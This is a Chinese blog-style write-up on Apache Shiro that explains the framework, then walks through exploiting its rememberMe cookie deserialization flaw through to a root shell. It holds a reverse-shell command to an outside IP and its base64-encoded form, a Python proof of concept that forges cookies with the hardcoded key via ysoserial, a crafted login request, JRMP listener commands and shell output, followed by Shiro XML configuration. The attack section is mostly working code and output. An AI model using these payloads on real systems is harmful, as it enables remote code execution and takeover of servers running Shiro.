写在文前:
本文是我自己在实践中的一些理解和经历,希望能够记录下来; 第一小结是后期在自己对这个框架有一定的认知后做的总结,修改记录可以看下面,第二小结是在学习中在网上的一些学习过程,当时也记录下来了。 故此分为两个小结。
——致勤奋的所有人
不一样的SHIRO框架浅析思路梳理 | |||
---|---|---|---|
SHIRO框架简介以及相关用途 | 反序列化分析 | 为什么写这样的代码 | 反序列化实战 |
✅简介:关于SHIRO的历史和相关实现组件 | ✅ JAVA代码反序列化FRAMES | ❎开发者写这样代码的用意 | ✅利用GADGET生成COOKIE |
✅用途:SHIRO框架的使用场景和解决痛点 | ✅ 调试环境部署 | ❎开发者如何修复 | ✅最终目标:GETSHELL |
本文初次记于2020/05/18;一次修改于2021/01/04上午;
Apache Shiro(读作“sheeroh”,即日语“城”)是一个开源安全框架,提供身份验证、授权、密码学和会话管理。 Shiro框架直观、易用,同时也能提供健壮的安全性。
————来自于维基百科
Shiro三个核心组件:Subject, SecurityManager 和 Realms.
Subject:即“当前操作用户”。但是,在Shiro中,Subject这一概念并不仅仅指人,也可以是第三方进程、后台帐户(Daemon Account)或其他类似事物。它仅仅意味着“当前跟软件交互的东西”。 Subject代表了当前用户的安全操作,SecurityManager则管理所有用户的安全操作。
SecurityManager:它是Shiro框架的核心,典型的Facade模式,Shiro通过SecurityManager来管理内部组件实例,并通过它来提供安全管理的各种服务。
Realm: Realm充当了Shiro与应用安全数据间的“桥梁”或者“连接器”。也就是说,当对用户执行认证(登录)和授权(访问控制)验证时,Shiro会从应用配置的Realm中查找用户及其权限信息。
从这个意义上讲,Realm实质上是一个安全相关的DAO:它封装了数据源的连接细节,并在需要时将相关数据提供给Shiro。
当配置Shiro时,你必须至少指定一个Realm,用于认证和(或)授权。配置多个Realm是可以的,但是至少需要一个。
Shiro内置了可以连接大量安全数据源(又名目录)的Realm,如LDAP、关系数据库(JDBC)、类似INI的文本配置资源以及属性文件等。如果系统默认的Realm不
能满足需求,你还可以插入代表自定义数据源的自己的Realm实现。
Apache Shiro是Java的一个安全框架。Shiro可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE环境,也可以用在JavaEE环境, Shiro可以帮助我们完成:认证、授权、加密、会话管理、与Web集成、缓存等。
上面说的比较官方一点,我们可以简单一点理解,她就是一个开源的集成权限框架
,这是我们在市面上很多的应用。我们在漏洞挖掘的过程中,如果存在WEB验证机制,
有可能会存在登录绕过,所以
现在很多j2ee开发都会采用shiro框架来做权限控制,框架的优势是十分明显的,但凡事有利有弊,有优势当然就存在劣势。shiro是我在参加工作后才会慢慢去接触到; 从一开始的代审,再到黑盒渗透,再到前一段时间刚结束的HW行动。
目前,使用Apache Shiro的人越来越多,因为它相当简单,对比Spring Security, 可能没有Spring Security做的功能强大,但是在实际工作时可能并不需要那么复杂的东西,所以使用小而简单的Shiro就足够了。 对于它俩到底哪个好,这个不必纠结,能更简单的解决项目问题就好了。
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
代码大致逻辑:
<jsp:forward page="home.jsp"/>
//跳到home.jsp home页面包含include.jsp
<%@ include file="include.jsp" %>
//include.jsp导入SecurityUtils类
<%@ page import="org.apache.shiro.SecurityUtils" %>
⌘+ 左键单击 SecurityUtils
跳转
shiro-core-1.2.4.jar!/org/apache/shiro/SecurityUtils.class
那么我们假设SecurityUtils类是shiro框架认证入口,那么我们只需要梳理清楚对应代码逻辑即可;
先直接在home.jsp页面处下断点,处理流程大概如下:
_jspService(HttpServletRequest, HttpServletResponse):21, index_jsp
//正常jsp server请求
service(HttpServletRequest, HttpServletResponse):71, HttpJspBase
//server响应request,返回JSESSIONID
service(ServletRequest, ServletResponse):733, HttpServlet
//以返回的JSESSIONID COOKIE访问http://127.0.0.1:8080/shiro/account
httpServerlet
ShiroHttpServletRequest
web http访问后,访问调用如下:
this = {index_jsp@4030}
request = {ShiroHttpServletRequest@5282}
response = {ResponseFacade@4532}
_jspx_method = "GET"
out = {JspWriterImpl@5284}
_jspx_out = {JspWriterImpl@5284}
_jspx_page_context = {PageContextImpl@5285}
pageContext = {PageContextImpl@5285}
基本上就是这个流程;
在上面的简述中,可以来进行shiro框架的判断漏洞特征:
同时,我们可以进一步对shiro框架是否存在反序列化来进行验证: 用到的是Shiroscan by 斯文脚本,开源在github上,用法就不多赘述。
python3 shiro_rce.py https://shiro.vuln.ip/login.html "ping x.dnslog.cn"
____ _ _ ____
/ ___|| |__ (_)_ __ ___/ ___| ___ __ _ _ __
\___ \| '_ \| | '__/ _ \___ \ / __/ _` | '_ \
___) | | | | | | | (_) |__) | (_| (_| | | | |
|____/|_| |_|_|_| \___/____/ \___\__,_|_| |_|
By 斯文
Welcome To Shiro反序列化 RCE !
[*] 开始检测模块 Class1:CommonsBeanutils1
然后脚本开始对不同的秘钥进行生成cookie,尝试让机器执行命令。等待脚本在跑的时候或者跑完,看一下dnslog上的dns记录,如果存在记录如下所示,那么就说明存在反序列化漏洞使得机器执行了任意代码,反之则无:
x.dnslog.cn shiro.vuln.ip 2020-07-02 16:46:35
x.dnslog.cn shiro.vuln.ip 2020-07-02 16:45:52
x.dnslog.cn shiro.vuln.ip 2020-07-02 16:45:52
x.dnslog.cn shiro.vuln.ip 2020-07-02 16:45:52
当然有的时候用shiroScan扫结束后并没有记录,即不存在漏洞;但是像我,又不死心,于是又在网上折腾找了另外一个能够跑秘钥的探测脚本-_- 作者博客
python shiro_exp.py https://shiro.vuln.ip/login.html
try CipherKey :4AvVhmFLUs0KTA3Kprsdag==
generator payload done.
send payload ok.
checking.....
checking.....
checking.....
checking.....
vulnerable:true url:https://shiro.vuln.ip/login.html CipherKey:3AvVhmFLUs0KTA3Kprsdag==
当然秘钥对于我们理解shiro反序列化框架也有一定的帮助,shiro的反序列化最初的漏洞来源也是因为秘钥硬编码。
通过上面的步骤我们就可以对shiro反序列化做一个判定,肯定是存在RCE漏洞,那么来实现我们的最终目的,GET-shell一般反弹shell的执行代码bash -i >& /dev/tcp/47.52.233.92/11111 0>&1
,首先需要把代码进行base64编码,只有经过base64编码后shiro才认得这个命令,通过shiro自己本身的base64解码最终达到执行命令的目的;
转成base64编码 :
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny41Mi4yMzMuOTIvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
像我比较偷懒,就直接在脚本上添加反弹shell,这样的好处就是我们不需要在生成poc的脚本里替换cookie,由脚本自动生成的cookie自动去跑,省事很多
监听端口等待shell回连(我这里的样例是docker环境)
nc -lvvp 11111
Listening on [0.0.0.0] (family 0, port 11111)
Connection from 59.110.152.168 47274 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6d5a7848dbef:/# id
id
uid=0(root) gid=0(root) groups=0(root)
使用ysoserial进行流量监听,下面是ysoserial的jar包生成,懂得开发同学都懂。
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
使用poc代码获得对应的rememberMe的cookie值。
# -*- coding:utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
D:\bin4xin\code\shiro\shrio-poc\ysoserial\target> python .\shrio-poc.py 47.52.233.92:6666
rememberMe=W8BOhPe8Qdy8FJ5N9genqt4WjZaONr1NQ+dXgDCV1RrGHUwMfd8ljlA9AG64t7vzUesOp7YKsz6EFFHgyrq1qRqUiPFBnEBi/NNNpE2UR8CgMsf1KY2rbBurFv1Gwslv2+SL7hy3YNq9cpPWm5S8o+nJpa6IyI9cZ+n7a+6hjB4Yfnf89u3BLi4AxOXL35SotH2AdSX2iZrWgGAcah9oW21JwpC2zj4YMjsGf2tPYUysP873bYYHuSIohaXf3bcq4YuQajMctVmM3IvjeY5Ggva9QRUvo5B1o0sPNHdXGwn/z9t/KWcSeTWE+Dt2f95a9QjEIoic6s88Tv0SKjY6UdCmTxN3vVE8rs1haiA48R1CuUQQiWa9V28m2qkonX9aUEUl4kTGGvF+Y5eB4MaNTw==
抓包,前台登录拦包,勾选Remember Me
,截获数据包,替换cookie构造数据包:
POST /doLogin HTTP/1.1
underattack-host: underattack-host:8080
Content-Length: 55
Cache-Control: max-age=0
Origin: http://underattack-host:8080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://underattack-host:8080/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: rememberMe=RFUadguvSoq4kMm3ZwnkO/MHiokCrqrCURXUqUWaXLBM7/fBF65qvjWDFZeh49zHDRm5oKPU1AhmbEBaYRp3ASrQpHdp7mYrChOi51tmq9qkzWemDnjbUXtp8B6RF1EUNV2q2tKaKlf4AAR1hZIRJGbz4CpLeumNAeWB98f6/T0GaWJGGve9rP6l9/7iU5Y9Xj4ZmSBP6LgMHYF3TJ2DDdTNI4nPITeQI3S+9ol/BmT14Be5m0ENfOkm1cdm3L8Rj/pbeE842Y3nUioEdAXizCrOsCYT+u2QTWHt1YZLmB/xsfQvEV5bRpRJeRv/ps7V00PiXvCeaPQoDs541wqB75+/RRAdqU8TWnJE7YhvQVkxTRLvCjBTtwfkgA3XVA8X+518nh0wSoj8/Ajaoi5MbA==
Connection: close
username=asdmnin&password=asdasd&rememberme=remember-me
使用包监听6666端口:
root@iZj6cgn7odv59wmjjhe6zwZ:/home/tool/shiro_poc/POC-2/ysoserial/target# java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny41Mi4yMzMuOTIvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
* Opening JRMP listener on 6666
发包,我们看到jrmp监听的端口已经有流量回流回来了,如下:
Have connection from /underattack-host:58272
Reading message...
Is DGC call for [[0:0:0, 356978429], [0:0:0, 2006635131]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /underattack-host:58274
Reading message...
Is DGC call for [[0:0:0, 356978429], [0:0:0, -1104978848], [0:0:0, 2006635131]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
/usr/local/nginx/conf/nginx.conf
inet addr:192.168.100.242 Bcast:192.168.100.255 Mask:255.255.255.0
<!-- Apache Shiro -->
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<!-- PageCache, cache .html suffix.
<filter>
<filter-name>PageCacheFilter</filter-name>
<filter-class>com.thinkgem.jeesite.common.filter.PageCachingFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>PageCacheFilter</filter-name>
<url-pattern>/</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>PageCacheFilter</filter-name>
<url-pattern>*.html</url-pattern>
</filter-mapping>-->
<!-- SiteMesh -->
<filter>
<filter-name>sitemeshFilter</filter-name>
<filter-class>com.opensymphony.sitemesh.webapp.SiteMeshFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>sitemeshFilter</filter-name>
<url-pattern>/a/*</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>sitemeshFilter</filter-name>
<url-pattern>/f/*</url-pattern>
</filter-mapping>
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd"
default-lazy-init="true">
<description>Shiro Configuration</description>
<!-- 加载配置属性文件 -->
<context:property-placeholder ignore-unresolvable="true" location="classpath:jeesite.properties" />
<!-- Shiro权限过滤过滤器定义 -->
<bean name="shiroFilterChainDefinitions" class="java.lang.String">
<constructor-arg>
<value>
/static/** = anon
/userfiles/** = anon
${adminPath}/cas = cas
${adminPath}/login = authc
${adminPath}/isValidateKlp = anon
${adminPath}/queryLoingname = anon
${adminPath}/ukeyIsExist = anon
${adminPath}/validSlider/** = anon
${adminPath}/dataInterface/** = anon
${adminPath}/sys/forget/** = anon<!-- 登录页忘记密码 -->
${adminPath}/logout = logout
${adminPath}/** = user
/act/rest/service/editor/** = perms[act:model:edit]
/act/rest/service/model/** = perms[act:model:edit]
/act/rest/service/** = user
/ReportServer/** = user
${mobilePath}/** = anon
</value>
</constructor-arg>
</bean>
<!-- 安全认证过滤器 -->
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<property name="securityManager" ref="securityManager" /><!--
<property name="loginUrl" value="${cas.server.url}?service=${cas.project.url}${adminPath}/cas" /> -->
<property name="loginUrl" value="${adminPath}/login" />
<property name="successUrl" value="${adminPath}?login" />
<property name="filters">
<map>
<entry key="cas" value-ref="casFilter"/>
<entry key="authc" value-ref="formAuthenticationFilter"/>
</map>
</property>
<property name="filterChainDefinitions">
<ref bean="shiroFilterChainDefinitions"/>
</property>
</bean>
<!-- CAS认证过滤器 -->
<bean id="casFilter" class="org.apache.shiro.cas.CasFilter">
<property name="failureUrl" value="${adminPath}/login"/>
</bean>
<!-- 定义Shiro安全管理配置 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="systemAuthorizingRealm" />
<property name="sessionManager" ref="sessionManager" />
<property name="cacheManager" ref="shiroCacheManager" />
</bean>
<!-- 自定义会话管理配置 -->
<bean id="sessionManager" class="com.thinkgem.jeesite.common.security.shiro.session.SessionManager">
<property name="sessionDAO" ref="sessionDAO"/>
<!-- 会话超时时间,单位:毫秒 -->
<property name="globalSessionTimeout" value="${session.sessionTimeout}"/>
<!-- 定时清理失效会话, 清理用户直接关闭浏览器造成的孤立会话 -->
<property name="sessionValidationInterval" value="${session.sessionTimeoutClean}"/>
<!-- <property name="sessionValidationSchedulerEnabled" value="false"/> -->
<property name="sessionValidationSchedulerEnabled" value="true"/>
<property name="sessionIdCookie" ref="sessionIdCookie"/>
<property name="sessionIdCookieEnabled" value="true"/>
</bean>
<!-- 指定本系统SESSIONID, 默认为: JSESSIONID 问题: 与SERVLET容器名冲突, 如JETTY, TOMCAT 等默认JSESSIONID,
当跳出SHIRO SERVLET时如ERROR-PAGE容器会为JSESSIONID重新分配值导致登录会话丢失! -->
<bean id="sessionIdCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
<constructor-arg name="name" value="jeesite.session.id"/>
<property name="path" value="/" />
</bean>
<!-- 自定义Session存储容器 -->
<bean id="sessionDAO" class="com.thinkgem.jeesite.common.security.shiro.session.JedisSessionDAO">
<property name="sessionIdGenerator" ref="idGen" />
<property name="sessionKeyPrefix" value="${redis.keyPrefix}:user:session_" />
</bean>
<!--<bean id="sessionDAO" class="com.thinkgem.jeesite.common.security.shiro.session.CacheSessionDAO">
<property name="sessionIdGenerator" ref="idGen" />
<property name="activeSessionsCacheName" value="activeSessionsCache" />
<property name="cacheManager" ref="shiroCacheManager" />
</bean>-->
<!-- 定义授权缓存管理器 -->
<!-- <bean id="shiroCacheManager" class="com.thinkgem.jeesite.common.security.shiro.cache.SessionCacheManager" /> -->
<bean id="shiroCacheManager" class="org.apache.shiro.cache.ehcache.EhCacheManager">
<property name="cacheManager" ref="cacheManager"/>
</bean>
<!-- 保证实现了Shiro内部lifecycle函数的bean执行 -->
<bean id="lifecycleBeanPostProcessor" class="org.apache.shiro.spring.LifecycleBeanPostProcessor"/>
<!-- AOP式方法级权限检查 -->
<bean class="org.springframework.aop.framework.autoproxy.DefaultAdvisorAutoProxyCreator" depends-on="lifecycleBeanPostProcessor">
<property name="proxyTargetClass" value="true" />
</bean>
<bean class="org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor">
<property name="securityManager" ref="securityManager"/>
</bean>
</beans>
以上。